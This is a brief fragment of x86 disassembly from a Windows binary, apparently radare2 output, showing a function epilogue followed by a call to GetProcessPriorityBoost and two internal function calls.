cmp eax, 0xfffffffb
jl 0x4024de
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
call fcn.004028b7
call fcn.00402865
int3